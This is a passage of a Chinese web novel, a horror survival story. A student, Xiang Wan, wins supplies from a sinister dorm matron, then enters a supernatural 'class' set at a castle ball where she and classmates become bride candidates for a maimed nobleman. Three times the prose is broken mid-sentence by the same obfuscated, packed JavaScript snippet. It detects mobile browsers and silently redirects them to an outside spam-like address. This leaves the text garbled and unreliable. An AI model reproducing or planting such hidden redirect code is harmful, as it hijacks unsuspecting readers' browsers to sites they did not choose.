宿管阿姨动作机械地抬头看了她一眼。项纨近距离看着她灰败的眼珠,后背浮上一层毛毛汗。 妈呀……这玩意儿离得近了看简直就是精神污染! 项纨强打着精神,表情尽量保持镇定。对面的阿姨盯着她看了几秒,嘴唇开合,“508寝,存活四人,物资分配四份,请确认无误后将物资带走。” 话音落下,她身后竟然凭空多出四份被牛皮纸包裹得严严实实的物资。 项纨稍稍松了口气。看来自己猜得没错,时间也是这个规章制度里很重要的一个部分。 她蹲下,将几个牛皮纸包拢进怀里。 “508寝物资已全部发放完毕。”宿管阿姨再次开口,明明语调还是像个伪人,但……是她的错觉吗? 她怎么感觉宿管阿姨这句话里暗藏着一丝阴谋得逞的狡黠? 不对劲,一定有哪里出了问题! 项纨头脑飞速风暴起来,拢着牛皮纸包的手一顿,灵光乍现,脑子里闪回宿管阿姨刚才的那句话——“请确认物资无误后将物资带走。” “等一下!”她一嗓子叫住了正欲离开的宿管阿姨,与此同时,手上动作一点没带停地将四个牛皮纸包裹全都拆开,果然!有三个包裹里确实装着水和食物,可还有一个包裹竟然是空的! 这空的包裹拿在手里居然还有重量,如果不打开检查,根本就发现不了。 假如她把空包带回去,是不是就没有做到检查无误呢? 这些规章制度处处是陷阱,一个不小心可能就会中招。 她把三个有物资的纸袋包好,拎起空的那个递给宿管阿姨,“阿姨,你不能走,这儿有个空包,我们的物资数量不对。” “……” 宿管阿姨抬眼看向她,没接。尽管面无表情,可项纨的第六感能感觉到她现在恐怕不太高兴。气压持续走低,项纨毫不示弱,举着包裹和她对峙着。 大约在项纨默数了三十秒之后,宿管阿姨僵硬地伸手,接过空包。同时,一个崭新的牛皮纸包又出现在项纨面前。 “物资已更新,请检查确认无误后带走。”依旧伪人感的语调。 这次项纨学聪明了,没等她说完就打开了牛皮纸袋,检查核对完里面的物资,项纨起身把所有装着物资的包归拢到一块儿,朝宿管阿姨说了声谢谢。 宿管阿姨这次什么都没说,转身往对面那片深不见底的黑色里走去。就在她身影消失的瞬间,项纨眼前宛如拉灯一样黑了一下,再睁开眼,对面一排寝室已经恢复成原来的模样,她身后的寝室大门也自己打开了。 捂着眼睛的谢晓彤听见大门打开,鼓起勇气一看,见项纨不仅毫发无伤,手里还多了几个纸包,激动地喊了一声:“丸子!你太牛了!” 项纨抱着物资看了眼空荡荡的地面,上午倒在这里的尸体已经不知去向。她转身,一脚迈进寝室大门。 她后脚一进来,谢晓彤立马把门关上。 “我刚才出去了多久?”项纨忽然问。 谢晓彤:“大概就十几秒吧。” 果然,和她想的差不多。当那个宿管阿姨出现的时候,她所处的空间和现在所处空间不同,所以时间流速不一样。 白心月上前帮忙从她手里接过两个包裹,提在手里,沉甸甸的。“还挺沉的,里面都有什么?”她们把牛皮纸包放到了寝室中间公用的桌子上。 “每一个包里有四瓶水,还有些食物,都是些战备物资,想吃什么好吃的是不可能了。”项纨说。 谢晓彤迫不及待地打开纸袋,里面果然和项纨说的差不多,除了水就是一些压缩饼干和面包什么的。“现在这个情况还要什么自行车,有的吃就不错了!”她拿着两瓶水来到于露的床边,递了一瓶到上头,“露露,丸子把物资领回来了,你下来喝点水吃点东西吧?” 于露一早就醒了,这光秃秃的硬床板很难让人能坚持在上面睡几个小时,于露硬生生地挨着,脖子肩膀还有背都被硌得生疼也一声不吭。 刚才项纨出去领物资的动静她都听在耳朵里,见她居然真的领着物资回来了,于露打心底有些意外。但现在下去吃她带回来的东西喝她领回来的水岂不是自打脸? 于露拉不下这个脸。 她从床上爬下来,一把打开谢晓彤的手。“拿开!” 谢晓彤没拿稳,矿泉水脱手,掉在地上“咚”的一声,又滚了好几圈,滚到了项纨的脚边。 …… 项纨瞥了眼于露,蹲下,把水捡起来擦了擦,放回桌上。 于露被她看得不爽,她刚才只是跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904646|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 项纨较劲,手上劲又使大了些。她绷着面子,瞪回去,“看什么看,我又不是故意的!” “这是我冒着风险领回来的物资,我想我应该有分配权吧?”项纨说这话的时候只看了谢晓彤和白心月。 两人不明所以地点头:“当然!” 项纨:“那既然于露不需要这些东西,那我们就把多的物资存起来,以备不时之需。” “这……” 白心月和谢晓彤面面相觑,一下不知道该说什么。 “凭什么!”于露忍不住拍桌子,“我什么时候说我不要了?” “原来你需要啊,晓彤送水给你的时候你那么硬气拍开她的,我还以为你不屑要我带回来的物资呢。”项纨把‘我’字咬得很重,故意激于露。 于露果然上当,“你有什么了不起的啊项纨?不过就是代领拿回几包破物资嘛!我告诉你,明天的物资我来领,你别跟我抢,到时候我领到的你也别求着我要!” 项纨莞尔一笑:“那我拭目以待。”她说到做到,把于露那份物资连带着牛皮纸包一起搬到了角落的储物柜里,又用钥匙把柜门锁上,然后当着于露的面,把钥匙塞进自己的上衣口袋里。 这家伙居然来真的?于露鼻子都要气歪了! 今天一整天就吃了早餐,还全都吐光了。她现在又渴又饿,本来想着谢晓彤和白心月总会来劝她吃东西,她假模假样推脱两下,最后假装推辞不过再吃,这样就没那么丢面子。 可项纨这人……一点都不按常理出牌,居然真把她那份物资给锁起来了! “咕咕”一声,于露的肚子发出抗议。现在怎么办啊?真的好饿…… 白心月离于露近,注意到她的异样。她想了想,把手里的压缩饼干掰了一半,问项纨:“项纨,我的饼干能分给露露一些吗?” 白心月本以为项纨不会同意,没想到她居然点头:“当然,那是你的东西,你有权利决定分给谁。” 白心月一愣,随即欣喜地来到于露身边,将掰开一半的饼干连同一瓶矿泉水一起递给她:“露露,吃点吧。” 于露嘴硬不下去了,别扭地接过饼干和水,还不忘嫌弃:“这饼干你没咬过吧?我可不吃别人吃过的。” “……没有,我掰着吃的。”白心月尴尬回道,继而转移话题,“露露,你晚上还是跟我一起睡吧,你那个光床板真的不行。” 于露眉梢一挑,朝项纨的方向看了一眼,见她没什么反应,于是假装不情不愿,“行吧,既然你非要我跟你一起,那我就勉为其难地接受。” 项纨将两人的互动看在眼里,什么也没说,扭头啃起自己的饼干。 填饱肚子,无事可干的几人再次爬上床。 课程安排是早上八点,项纨用手机和手表各定一个七点的闹钟,然后翻开微信消息,找到空白头像,再次仔细浏览那条信息。 「项纨同学,你的教室在一教303 上课期间,禁止携带违禁物品 祝你本次课程顺利通过课堂考验。」 项纨目光一顿,视线停留在“违禁物品”四个字上。 什么算是违禁物品?管制刀具这些危险的东西自不必说,她们也没有。项纨的视线下移,从看消息变成看手机。 手机算是违禁物品吗? 严格来说的话,学校上课时不允许携带手机的。保险起见,项纨还是决定不带手机。 她提醒另外三人:“明天去‘上课’,你们记得不要带手机。” 谢晓彤:“好。” 白心月:“为什么?” 于露:。 项纨说:“规章制度有一条上课期间禁止携带违禁物品,手机不知道算不算,最好还是别带了。” 白心月有点纠结:“可是我没有手表,如果不是准时过去的话……”那下场也会很惨吧。 “别担心小白,”谢晓彤举手晃了晃自己手上的表,“我有。” 白心月这下放心:“那就好!” “早点休息吧。”项纨说着,躺了下去。 明天…… 恐怕不是那么好过的。 4. Achilles 夜里,寝室楼出奇安静,连夏日该有的虫鸣声都听不到,整栋楼宛如一座孤岛,被囚困在充满未知的深海之中。 四人一致决定开着灯睡觉,不过一到12点,电源自动断电,寝室还是陷入了一片黑暗。好在这一晚并没有再发生别的什么事情,就是几人都翻来覆去,睡得不安稳。 第二天天刚蒙蒙亮,项纨醒了。她一晚上都处于半梦半醒的状态,根本用不着闹钟。看了眼时间,才五点四十。身旁的谢晓彤还睡着,另一张床上的两人也没什么动静,项纨轻手轻脚下床,准备等会儿洗漱完再统一叫醒所有人。 她开门来到阳台。 她们寝室的阳台和室内有一道玻璃门隔开,外面是半开放式,平时站在阳台上往下看,楼下的场景一览无余。今天却不一样,此刻阳台外围笼罩着一层浓雾,能见度几乎为零。 项纨只看了一眼,收回视线,走到水龙头边洗漱。她拧开水龙头,“哗啦”一下,自来水奔涌而出。项纨掬了一捧浇在脸上,早晨格外清凉的水刺激得她打个寒战,大脑瞬间清明许多。 用了五分钟洗漱完毕,回到室内时间还早,项纨轻轻拉开凳子坐下。 她有个习惯——静坐的时候思考问题。 昨天在礼堂的时候事发突然,没来得及细想当时“校长”说的规则,现在时机正好,项纨开始回想那四条“规章制度”。第一条和第四条分别是顺利通过课程之前不得擅自离校和严格遵守规章制度,这个好理解,让项纨费解的是另外两条。 第二条提到每堂课程顺利通过之后累计平时分,根据难度不等,分值不等,最低一堂也有十分。那这么说,如果一天通过一节课,就算是最低分的课程,也就只需要六天?如果是高分课程,甚至更短。 可是根据昨天没成功回到寝室的那些人的惨烈状况来看,这所谓“课程”绝不是简单能完成的。还有第三条说的,课堂上可以互相帮助,但严禁作弊。互相帮助和作弊的界限又是如何定义的? 算了算了,在没有到教室亲自体验过所谓的课程之前,一切都是空想。 项纨拧开昨晚没喝完的矿泉水,掰了块儿压缩饼干当做早餐。细嚼慢咽的吃完,扯了张卫生纸擦掉手指上的饼干屑,项纨拍了拍桌子,“时间差不多了,该起床了。” 谢晓彤打了个哈欠,顶着俩黑眼圈从床上爬下来,“丸子,你怎么这么早……” 和谢晓彤挂着同款黑眼圈的于露白心月从另一侧下来,同样一副萎靡不振的样子。 四个人里,就项纨的精神状态尚可。 等三人洗漱完毕,时间还不到七点。项纨套上一件外套,朝门口走,“准备出发吧。” 谢晓彤不可思议道:“这么早?” 二教离寝室确实远,但是再怎么提前,二十分钟也就到了。 “而且丸子你不是在一教吗?比二教还近,这么早过去会不会违规?” 于露不满地嘟囔:“就是,也不知道这么早过去干嘛。” 项纨不想搭理于露,跟谢晓彤解释:“这种事情宜早不宜迟,就算现在过去早了在教室门口等着也行。你现在不能把这里当成我们正常的学校,也不能保证路上会不会碰到别的什么事情。” 她的话成功说服谢晓彤,谢晓彤立马行动起来:“有道理!” 白心月也认为项纨的话在理,便劝于露:“露露,我们也出发吧?” 于露虽然嘴上说着不知道去那么早干嘛,但真要让她现在一个人留在寝室里头她还是不敢,于是就坡下驴。“服了你们了,走吧!” “先等一下。”项纨说着,打开寝室大门,一抬眼,恰好和对面寝室的女生四目相对。是个熟面孔,打过几次交道的那种,项纨记得她好像叫宋菲菲。 宋菲菲看到她先是一愣,反应过来,冲她点点头算是打招呼,然后站在原地不动了。 项纨没回应她,做了几秒思想准备,抬脚迈了出去。 一秒…… 两秒…… 项纨在心里默数了十秒钟,无事发生。回头跟身后的谢晓彤她们说:“出来吧。” 话音刚落,宋菲菲寝室的几个人率先鱼贯而出,匆匆朝楼梯的方向跑去 对于这种把她当马前卒的行为,项纨没发表意见,毕竟这个门无论如何今天都是要出的。跟在她身后的谢晓彤和白心月虽然没说话,但略为不悦地表情显然是不认同对面寝室人的做法。 “宋菲菲!你们几个敢不敢再不要脸一点!自己不敢出门把人当试验品是吧?”于露的声音如同一道惊雷在安静的走廊里炸开,同样早起准备出门的人听到有热闹,探长了脖子往这边看。还没跑到楼梯口的身影听见她的骂声,身形顿了顿,加速跑了。 项纨回头看了一眼于露,阻止她继续叫骂,“差不多得了,赶紧下楼。” 见她竟敢不领情,于露瞪她一眼,“项纨,我是在帮你说话!” 项纨:“不需要。”说完,头也不回地朝楼梯口走去。 不识好歹的家伙!眼看着于露又要发飙,白心月赶紧把话题往回扯:“快走吧露露,千万别耽误了时间。” 于露看着项纨的背影,“呸”了一声,匆匆跟了上去。 来到寝室楼下,看着浓雾弥漫能见度不足一米的校园,几人不约而同在心里感慨项纨有先见之明。 “……好浓的雾。”谢晓彤手打直伸到自己面前,这么近的距离,竟然都有点看不清。 还好,她们好歹在这里上了将近四年的课,就算闭着眼睛也能找到教学楼的方向。只是雾太浓,行进的速度就慢了。 四个人摸索着慢慢前进,耗在路上的时间比平时多了将近一倍。项纨和于露在一教上课,这是老教室,离寝室很近,两人率先抵达目的地,四人在这里就要分头行动。 项纨有点不放心谢晓彤,“还有三十分钟,宁可以慢一点稳一点过去,也不要着急。”人在着急的时候太容易出错。 谢晓彤点头:“放心,我没问题的,你们先上去吧。” 该叮嘱的叮嘱过了,谢晓彤也不是个急性子的人,项纨选择相信她。“那我先上去。” “诶!” 她刚转身,谢晓彤突然一把拽住她的胳膊。项纨疑惑回头,谢晓彤朝她眨巴眨巴眼睛:“记住啊,大人有大量!peaceandlove!”说完松开她,“去吧去吧。” …… 神他哥的peaceandlove。 和谢晓彤她们分别,项纨和于露一前一后走进一教教学楼。两人沉默不语地爬上三楼,找到303教室。教室大门紧闭,门口空无一人,她俩成了最早抵达教室的人。项纨查看时间,七点三十五,还早。 没事干也无聊,项纨靠着墙边蹲下,闭目假寐养神。 于露扶着栏杆观察了会儿楼下想看看有没有人过来,结果大雾太浓什么也看不清。她放弃,回头一看,项纨已经闭眼蹲在墙边,看着跟睡着似的。 什么节骨眼儿了,还有心思睡觉? 于露嫌弃地看她一眼,选了个干净点的墙边,也蹲下了…… 就在两人互不理睬蹲在原地百无聊赖的时候,楼梯口传来“噔噔”的脚步声。 有人上楼了。 乱糟糟的脚步声由远及近,项纨睁眼,发现右前方多了一高一矮两个男生,长得挺端正的,在两人身边还有一个身材比较娇小面容姣好的女孩,女生跟稍微矮一点的男孩子手挽着手,看着像是一对情侣。 项纨有点佩服这这两人,男寝和女寝之间还是有些距离的,这么紧迫的情况下,这对小情侣还能先汇合再过来,这就是爱情的力量吗? 情侣中的女生注意到这边蹲墙根的两人,主动上前跟她们打招呼,“同学,你们也是在303上课的?” 于露看了她们一眼,继续蹲在原地,没搭话。项纨站了起来,冲她点点头,视线扫过她和她男朋友,还有一旁沉默不语的另一个男生,“对,你们都是吗?” 女孩子说:“是的。对了,我叫岳琪,你可以叫我琪琪。这是我男朋友宋宇。” 宋宇朝她点点头:“你好。” 项纨:“你们好,我叫项纨。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904647|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到她的名字,琪琪有点惊讶:“项纨?你就是项纨!” “你认识我?” 琪琪表情有点古怪,尴尬笑了笑:“我跟你一个系的,有听过你的事迹,但是你本人和我想象中……不太一样。” 原来是她们系的,难怪这个反应。 宋宇好奇:“什么事?” 琪琪飞速用胳膊肘捅了他一下,给了他个眼神示意他闭嘴,回头朝项纨微微一笑,“……那项纨,等会儿上课的时候就拜托多多关照一下!” 项纨脸上挂着假笑,对琪琪的请求不置可否。 琪琪一拍脑门,指着另外一个一直没说话的男生,“对了!忘了介绍,这是我男朋友的室友,陆舸。” 陆舸被cue到,表情冷淡地扫了一眼项纨,转过头去,仍是一言不发。 也不知道在装什么深沉。 项纨对待别人的态度取决于别人怎么对她,见人家没有想跟自己说话的意思,自然不会热脸去贴冷屁股。 “别介意,他脾气比较差,对谁都这样。”琪琪解释道,然后悄悄指了指另一边蹲着的于露问项纨:“那位是?” “哦,”项纨看了一眼,“那是我室友,于露。” “你们看上去关系似乎不太好呀。”琪琪小声说。 项纨没接她的话,她抬手看了看表,“还有五分钟就到上课时间了。”现一共就她们五个人,其他人呢?难道是想卡着点过来? 就在她疑惑之际,楼梯口传来了急促的脚步声。没一会儿,一个穿着姜黄色碎花裙的女生满头大汗气喘吁吁地跑了过来。 “呼……还好!还好赶上了!”女生扶着墙大喘气,在看见其他人还在教室门口站着的时候松了口气。 琪琪自来熟地上前打招呼:“嗨同学,我是琪琪。” 碎花裙女生喘匀了气,“你、你们好,我叫傅小雅。” 琪琪好心提醒:“小雅,下次可得早点,卡点到也太危险了。” “……哦,好的,我下次会注意的。” 就在两人说话的时候,“还有一分钟。”项纨像个冰冷的报时机器,提醒在场所有人。一直蹲在一边的于露听到这话终于起身,几人心照不宣地聚集到教室门口。 这个点还没来的话,不是不来,就是来不了了,看来今天这堂课,只有她们六个人。 项纨紧紧盯着腕上的手表,见她这样,在场的人纷纷紧张起来。“滴滴”“滴滴”八点准点闹钟响起。教室大门“咔哒”一声自动打开。 门后,是一片漆黑,浓到化不开的那种,和昨晚宿管阿姨发放物资时对面的那片黑色异曲同工。 项纨不敢耽误时间,毫不犹豫往里走。身后的人见状,纷纷跟上。等所有人的身影消失在墨色里,教室大门无风自动,又“咔哒”一下关上了。 进入教室的项纨感觉自己陷入了一片混沌之中,周遭的一切仿佛都消失了,她的眼前一片虚无,脚下虚浮,如同踩在棉花上。与此同时,耳边响起一道冰冷的女声: 「本堂课程为古典文学,场景搭载中,预计五秒后完成,请各位同学做好上课准备。」 「五」 「四」 「三」 「二」 「一」 机械的倒数声结束,项纨眼前的场景以不可思议的速度发生翻天覆地的变化,光怪陆离的建筑起迭,项纨脚下渐渐有了脚踏实地的感觉。突然,一道刺目的白光照得项纨睁不开眼,她下意识闭上眼睛抬手挡在眼前。等待了几秒钟,感受到光线渐渐散去,项纨睁开了眼睛。 目之所及居然是一座复古的外壁爬满了藤蔓的城堡,项纨原地360°转了个圈,确认城堡周围再没有别的建筑,四周是悬崖峭壁,只有它孤零零地耸立其中。 阴暗的天色,复杂的地势,诡异的古堡……除了自己,一起进来的几个人皆是不见踪影。项纨站在城堡大门外,就在她思考接下来该何去何从的时候,古堡的大门仿佛有所感应似的发出一声沉闷的声响。 像是对她发出的邀请,门……自己开了。 5. Achilles 门后站着一个女仆装扮的老妇人,皱纹盘布的脸上一双幽蓝的眼,高颧骨鹰钩鼻,落在她身上锐利的目光让项纨有点不适。 下一秒,妇人开口,语言口音都很奇怪,项纨耳朵里却仿佛有个同声传译一样,竟然无障碍的听懂了。她说:“尊贵的客人,主人已经让我在此等候你们多时,舞会早已开始,请跟我来。” 舞会?什么舞会? 没等她多想,老妇人对她做了个“请”的姿势,转身为她引路。项纨短暂思考了两秒钟,跟了上去。 跟在老妇人身后,她不动神色打量着古堡内部的环境。里面光线略为昏暗,照明全靠一排排的油灯和蜡烛,空气里弥漫着一股灯油燃烧特有的味道。老妇人领着她走上石砌的螺旋式楼梯,这楼梯两侧空间狭小,宽度仅供一人同行。 绕了两圈,老妇人终于带着她进入了古堡的主厅,这里空间豁然开朗,照明的油灯蜡烛也多了一倍不止。大厅正中已经聚集了一群穿着礼服的男男女女,正伴随着乐师奏乐翩翩起舞。她跟着妇人绕过大厅,又上了一层楼,在一间房间门外停下。 “到了。”妇人说。 项纨:“这是哪里?” “更衣室,请客人换上礼服,到正厅参加舞会。” 项纨低头看了看自己身上和这个古堡气质格格不入的牛仔外套工装裤,“一定要换吗?” 老妇人上下扫视她,尽管表情没怎么变,项纨却觉得她看自己的眼神似乎有点轻蔑。“着装怪异的来客,或许会被判定为敌方的奸细。”妇人说。 “……行,我换。”识时务者为俊杰。 妇人替她推开门,退一步,守在门口。 项纨走进去,更衣室空荡荡的,正中心的衣架上,挂着一件墨绿色的礼服,这礼服的尺寸大小仅凭目测,似乎……很合她的身。 她把礼服从架子上取了下来,脱掉外套,她里面穿的吊带背心,项纨想了想,没脱。反正这礼服有袖子,直接套在身上也看不出什么。 礼服后面是繁复的绑带设计,仅凭她一个人法儿穿,她正想请门口那位帮帮她,忽然感觉身后的绑带一紧。项纨被吓一跳,回头往下一看,绑带竟然凭空自己绑好了,而且果然和她目测的差不多,这衣服就像为她量身定制的一样……这两天内发生的无法用科学解释的事情太多,项纨感觉自己已经快免疫,对再不合理的东西也见惯不怪了。 裙摆有点宽大,项纨提起两边,大步流星走到门口。妇人见她走出来的模样,露出一个嫌弃的表情,语气严肃地提醒道:“来参加舞会的客人都是绅士和淑女,请客人注意自己的仪态。” 项纨:“……”这是嫌她走路姿势太狂放了?项纨默默松开提到大腿边上裙摆,布料垂落,遮住她的工装裤。 老妇人的表情好看了些,转身引她下楼,“请。” 宽大的裙摆严重影响她走路的速度,偶尔踩到裙摆边缘,磕磕绊绊的。此刻,项纨庆幸没让她一定要穿高跟鞋,否则她可能下楼就能把自己摔成重伤。 老妇人把她带到正厅没有多余的交待便转身离去,项纨站在原地,看着舞池中央正在起舞的一群人,不知道接下来该干什么。突然,一只温热的手抓住了她的胳膊。 “谁?”项纨猛地回头。 “是我,”于露被她的动作吓一跳,松开手,“你反应这么大干嘛?” 竟然是于露。她穿着一身和项纨身上这条礼裙款式差不多的红裙子,也不知道从哪儿冒出来的。 “你从哪儿过来的?”项纨问道。 于露说:“刚开始在城堡顶楼,被一个老太婆带下来了。” 这个情况怎么跟她以前玩过的一个游戏似的,每个玩家出生点刷新的点位都不一样……还有于露口中的老太婆……“是不是长着一双蓝眼睛鹰钩鼻穿女仆装的女人?” 于露点头:“没错。”说罢有些讶异,“你怎么知道?难道你也是她被她带进来的?” “嗯。”那看来其他人应该也在这个古堡里,只是她暂时还不知道这些人被“刷新”在什么地方。 于露本来以为只有自己一个人进到这个古堡里头,心里紧张又害怕,刚刚在人群外看到项纨简直就跟看见救命稻草一样立马过来找她,见项纨如此淡定,她也被感染,心里莫名有了些底气。 “那我们现在怎么办?”于露问,“要先和其他人汇合吗?” 项纨看了眼面前乌泱泱的一群人,要在这里面找人可不好找。 “不用。” “那现在干嘛?难不成真要进去跳舞?” “不用。”现在唯一要做的事情就是……“等着。” “等谁?”于露不解。 项纨看白痴一样看她一眼,本来不想跟她解释,不过如果不说以她这脑子恐怕也想不明白,“我们为什么会到这个地方?” 于露被她问得一愣,嘴比脑子快:“上课。” “上课的目的是什么?” 于露皱眉:“通过课堂考验啊!” “那你知道这堂课的考验是什么吗?” “不知道……等等……”经项纨这么一提醒,于露恍然大悟,“我懂了!就像完成任务前一定要有任务发布,考验也要发布考题!” 还不算蠢得无可救药。“所以,等着就好。” 就像是为了印证项纨的话,原本还在跳舞的人们忽然停下,纷纷往两侧散开,将正中央的位置空了出来。一名衣着看起来比在场任何人都华丽的金发女士走到了大厅中心。 她提着裙摆朝众人点头致意,在场除了项纨和于露之外的人纷纷鼓起掌来,掌声雷动。 “嚯,好大的面子。”于露低声感叹。 项纨没理她,因为她注意到女人似乎还有话要说。果然,在掌声平息的时候,女人开口了。 “很荣幸各位今日到访,参加这场庆功晚会。”女人的声音不大,落在她们的耳朵里却很清晰,看来这位女士就是这场舞会的组织者,古堡的女主人。 女人高举手里的酒杯:“今天,我们欢聚在这里,不光是为了庆祝我亲爱的孩子从前线打了胜仗归来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904648|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有另一件非常要紧的事情,那就是——”女人拖长了音调,视线忽然开始在人群中游移起来,脸上还露出一个怪异的笑容,“为我亲爱的儿子,挑选一位美丽又合格的新娘。” 女人话音落下,人群里的声音变得嘈杂起来,似乎都在议论此事。项纨观察着在场的人脸上的表情,发现在女人说完要为她的儿子挑选一位美丽又合格的新娘的时候,所有女士的脸色几乎是瞬间垮了下来。 估计是这位女士的儿子风评不太好。 女人似乎丝毫不被外界的声音影响,她一口饮完酒杯里的猩红的葡萄酒,转身,像身后高喊道:“伊莎,请把阿克斯带过来。” 一个眼熟身影推着木制的轮椅,缓缓从正厅走廊尽头朝中央走了过来。 这不是刚才给她们带路的老妇人吗?看来女人口中“伊莎”就是她了。 于露的注意力和项纨不大一样,她盯着轮椅上的生物,嘴角微微抽搐。“项纨,那、那是什么东西?” 听到她的话,项纨把目光转移到坐着轮椅的人身上。不看不知道,一看……项纨的眉毛拧成一个川字——只见轮椅上歪曲扭八地倚靠着一个……姑且叫他人吧。这人四肢不同程度地被截断,身上大部分地方的皮肉外翻,脸上一片大面积烧伤留下的疤痕,头顶光秃秃的,一只眼睛只剩空洞的眼眶,耳朵也没了一只。 大约是没有四肢不太好穿衣服,这人身上只用一块像是什么动物的皮毛虚盖着。 项纨不得不佩服这人顽强的生命力,都惨烈成这副样子了,另一只完好的眼珠子居然在四处乱瞟,那眼神,像极了一只正在搜寻猎物的毒蛇。 他应该就是女人口中的“阿克斯”。 伊莎推着阿克斯来到人群中央,在场的女士们纷纷别开眼,根本不敢去看轮椅上的人。 女人上前两步从伊莎手里接过轮椅,推着他,缓缓走回自己刚才站的位置,满脸骄傲的给大家介绍:“这位,就是为我们驱退外敌,打了胜仗的英雄,令我骄傲的,我的儿子——阿克斯。” 现场再次响起一阵掌声,当然,不比上一次的热烈。 项纨听到身旁的女士低声议论。 “天呐,这简直是个怪物!” “萨瑞亚疯了吧,谁敢嫁给这样的人?” “可是……他好歹也是为我们打了胜仗的英雄呀。” “那又怎么样,你希望自己的一辈子浪费在这样的人身上吗?” 这样议论的声音不在少数,女主人萨瑞亚听见了,面不改色保持得体的微笑,缓缓开口:“请大家放心,虽然阿克斯现在的身体情况不佳,但还是有几位美丽的女士自愿成为阿克斯的新娘候选人。” 此话一出,议论声更大了,几乎说什么的都有。然而萨瑞亚对这些议论声置若罔闻,忽然转头,目光锁定了项纨和于露。 项纨心跳漏了一拍。 糟糕,有种不妙的预感…… 怕什么来什么,下一刻,两人就听见萨瑞亚开口:“让我们有请这六位美丽的女士到舞池中央来吧。” 6. Achilles “靠,她说的该不会是我们吧?”于露后知后觉的反应过来,低下头躲避名为萨瑞亚的女人的视线,低声疯狂祈祷,“不要啊不要啊不要啊……” 这种鸵鸟行为毫无意义,萨瑞亚不光看向她们,还一步一步朝她们走了过来,最后停在两人身前。 萨瑞亚动作优雅的朝她们伸出手,做出邀请的姿态,“两位美丽的姑娘,请跟我来吧。” 项纨盯着她的脸。她说话的时候嘴角始终保持一抹上扬的弧度,像一个被设定了微笑程序的机器人,整个人散发出一种微妙的、令人不安的感觉。 项纨刚向前迈了一步,于露一把拉住她,“项纨!真要去?” 考题已经送上门来了,当然要去。回头给她递了个眼神,项纨也不管她理解到没,转头继续向萨瑞亚走去。 这是……叫她跟上的意思?于露回过神,咬咬牙跟了上去。 两人来到中心站定,萨瑞亚满意朝两人点点头,接着转身,往另一个方向走去。 项纨顺着她走的方向看去,果然和她猜的没差,在拥挤的人群中看到了穿着礼裙的琪琪和傅小雅。同样的,对方也看见了她们。琪琪看起来像是想跟两人打招呼,可萨瑞亚已经走到了她们跟前,无奈,两人只能先跟萨瑞亚交谈起来。 没一会儿,琪琪和傅小雅也脸色难看的跟着萨瑞亚来到了舞池中央。 将她们带过来后,萨瑞亚动作没停,第三次向某个方向过去。 趁这会儿,琪琪和傅小雅凑近两人。傅小雅的脸色不大好看,琪琪看起来还好,看了眼项纨身后的于露,还有心情问话,“项纨,你们是一起过来的吗?” 项纨说:“不是,你们呢?” 琪琪“哦”了声,说:“我和小雅过来就在同一个地方。” 那这么说随机刷新并不一定是所有人都分开的? “对了,这个女人说有六个什么新娘候选人——你我小雅于露,剩下的两个该不会是……”琪琪话还没说完,萨瑞亚已经带着人回来了。她身后,正是穿着加大版礼裙宋宇和陆舸。两个一米七几一米八的男生挤在款式繁复蓬松的礼裙里,看上去相当滑稽。两个人走得一个比一个困难,脸色旗鼓相当的难看。 几个女生被这画面雷到,琪琪欲言又止的看着自己的男友,项纨等人努力压制着自己的嘴角,确保不要在此刻笑出声来。 现在几人还不到说话的时候。萨瑞亚很快带着宋宇陆舸来到她们这边,她站在几人身前,朝来宾们介绍:“这几位,就是或许即将会成为阿克斯妻子的姑娘。”听到这话,来宾中的女士们纷纷松口气,似乎并没有觉得萨瑞亚将两个大男人称作“姑娘”有什么不对劲的。 项纨猜测课堂里应该有什么隐形机制,让宋宇和陆舸在其他人眼中也是正常的女性形象。萨瑞亚的话音落下,本来安静躺在轮椅上的阿克斯忽然躁动起来。萨瑞亚见状俯身低下头,阿克斯贴着她的耳朵,两人耳语几句之后萨瑞亚站直身子,笑容依旧。 “几位都是相当优秀的淑女,可是阿克斯是个专情的男人,他同我说了,只会在六位里挑选一位做他的新娘。”萨瑞亚用略带遗憾的语气宣布,“接下来,你们每人将分别陪伴阿克斯一天一夜,六天之后,当阿克斯选出自己的新娘,我将会为你们举行盛大的婚礼。” 六天…… 项纨眉头微不可查皱了皱,不出意外的话这六天应该就是对她们的考验了。 “祝贺你,萨瑞亚夫人!” 人群中不知哪个人说了一句,随后,人们纷纷开始附和,一声声“祝贺”不绝于耳。 看了眼朝着人群道谢的萨瑞亚,项纨把目光转移到阿克斯身上。尽管他整个人看上去惨不忍睹,不过项纨发现,他的伤似乎并没有对他造成很大的影响。当然,这个影响不是指肉/体,而是精气神。 